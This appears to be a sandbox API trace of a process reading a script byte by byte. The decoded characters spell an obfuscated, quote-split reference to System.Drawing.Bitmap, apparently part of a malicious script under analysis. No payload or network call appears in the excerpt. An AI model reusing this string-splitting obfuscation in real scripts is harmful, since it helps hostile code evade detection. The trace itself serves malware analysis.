	[0058.676] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.676] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.676] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e466, cchWideChar=1 | out: lpWideCharStr="f") returned 1
	[0058.677] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.677] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.677] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.677] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e468, cchWideChar=1 | out: lpWideCharStr="r") returned 1
	[0058.677] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.677] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.677] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.677] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e46a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0058.677] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.677] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.677] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.677] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e46c, cchWideChar=1 | out: lpWideCharStr="S") returned 1
	[0058.677] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.677] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.677] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.677] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e46e, cchWideChar=1 | out: lpWideCharStr="y") returned 1
	[0058.677] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.677] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.677] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.677] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e470, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0058.677] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.677] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.677] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.677] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e472, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0058.677] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.677] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.677] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.677] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e474, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0058.677] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.677] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.678] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.678] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e476, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.678] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.678] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.678] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.678] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e478, cchWideChar=1 | out: lpWideCharStr="+") returned 1
	[0058.678] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.678] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.678] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.678] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e47a, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.678] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.678] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.678] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.678] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e47c, cchWideChar=1 | out: lpWideCharStr="m") returned 1
	[0058.678] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.678] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.678] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.678] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e47e, cchWideChar=1 | out: lpWideCharStr=".") returned 1
	[0058.678] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.678] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.678] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.678] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e480, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.678] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.678] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.678] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.678] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e482, cchWideChar=1 | out: lpWideCharStr="+") returned 1
	[0058.678] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.678] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.679] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.679] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e484, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.679] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.679] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.679] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.679] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e486, cchWideChar=1 | out: lpWideCharStr="D") returned 1
	[0058.679] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.679] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.679] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.679] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e488, cchWideChar=1 | out: lpWideCharStr="r") returned 1
	[0058.679] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.679] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.679] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.679] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e48a, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0058.679] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.679] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.679] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.679] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e48c, cchWideChar=1 | out: lpWideCharStr="w") returned 1
	[0058.679] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.679] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.679] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.679] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e48e, cchWideChar=1 | out: lpWideCharStr="i") returned 1
	[0058.679] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.679] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.679] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.679] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e490, cchWideChar=1 | out: lpWideCharStr="n") returned 1
	[0058.679] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.679] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.679] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.680] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e492, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.680] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.680] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.680] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.680] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e494, cchWideChar=1 | out: lpWideCharStr="+") returned 1
	[0058.680] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.680] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.680] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.680] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e496, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.680] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.680] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.680] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.680] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e498, cchWideChar=1 | out: lpWideCharStr="g") returned 1
	[0058.680] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.680] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.680] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.680] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e49a, cchWideChar=1 | out: lpWideCharStr=".") returned 1
	[0058.680] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.680] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.680] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.680] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e49c, cchWideChar=1 | out: lpWideCharStr="B") returned 1
	[0058.680] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.680] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.680] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.680] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e49e, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.680] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.680] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.680] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.680] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4a0, cchWideChar=1 | out: lpWideCharStr="+") returned 1
	[0058.681] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.681] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.681] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.681] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4a2, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.681] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.681] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.681] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.681] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4a4, cchWideChar=1 | out: lpWideCharStr="i") returned 1
	[0058.681] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.681] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.681] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.681] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4a6, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0058.681] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.681] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.681] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.681] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4a8, cchWideChar=1 | out: lpWideCharStr="m") returned 1
	[0058.681] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.681] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.681] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.681] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4aa, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0058.681] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.681] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.681] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.681] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4ac, cchWideChar=1 | out: lpWideCharStr="p") returned 1
	[0058.681] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.681] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.681] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.681] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4ae, cchWideChar=1 | out: lpWideCharStr="(") returned 1
	[0058.681] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.681] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.682] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.682] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4b0, cchWideChar=1 | out: lpWideCharStr="(") returned 1
	[0058.682] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.682] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
